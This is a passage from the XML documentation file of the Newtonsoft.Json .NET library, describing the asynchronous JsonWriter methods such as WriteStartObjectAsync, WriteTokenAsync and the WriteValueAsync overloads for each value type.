constructor.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the beginning of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonReader,System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the current <see cref=\"T:Newtonsoft.Json.JsonReader\"/> token.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read the token from.</param>\n            <param name=\"writeChildren\">A flag indicating whether the current token's children should be written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteTokenAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the <see cref=\"T:Newtonsoft.Json.JsonToken\"/> token and its value.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> to write.</param>\n            <param name=\"value\">\n            The value to write.\n            A value is only required for tokens that have an associated value, e.g. the <see cref=\"T:System.String\"/> property name for <see cref=\"F:Newtonsoft.Json.JsonToken.PropertyName\"/>.\n            <c>null</c> can be passed to the method for tokens that don't have a value, e.g. <see cref=\"F:Newtonsoft.Json.JsonToken.StartObject\"/>.\n            </param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Boolean,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Boolean},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Byte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the 